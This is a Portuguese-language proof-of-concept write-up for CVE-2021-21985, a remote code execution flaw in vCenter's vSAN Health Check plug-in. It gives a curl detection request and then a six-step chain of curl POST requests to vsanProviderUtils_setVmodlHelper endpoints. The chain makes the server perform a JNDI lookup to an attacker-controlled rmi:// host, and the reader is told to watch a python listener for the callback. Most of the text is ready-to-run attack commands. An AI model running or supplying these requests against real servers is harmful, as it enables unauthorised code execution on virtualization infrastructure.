O vSphere Client (HTML5) contém uma vulnerabilidade de execução remota de código devido à falta de validação de entrada no plug-in Virtual SAN Health Check, que é habilitado por padrão no vCenter Server.
Esta inspeção manual verifica a existência do CVE-2021-21985 com base nas CLASSE/MÉTODO(S) disponíveis por padrão no vCenter, por exemplo, "/ui/h5-vsan/rest/*", enviando uma solicitação POST e procurando dados JSON no corpo da resposta (200).
Inspeção manual:
# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

Créditos: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
Passos para reproduzir:
Inicie seu servidor python para receber a conexão do sistema alvo (vCenter), por exemplo:
# python3 -m http.server 9090
Passo 1: defina TargetObject como null
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'
Passo 2: defina setStaticMethod como payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'
Passo 3: defina setTargetMethod como doLookup
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'
Passo 4: defina setArguments com os argumentos do payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'
Passo 5: classe e métodos iniciais do payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'
Passo 6: acione a invocação do método; após este POST, aguarde alguns segundos e veja o log do seu servidor python
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'
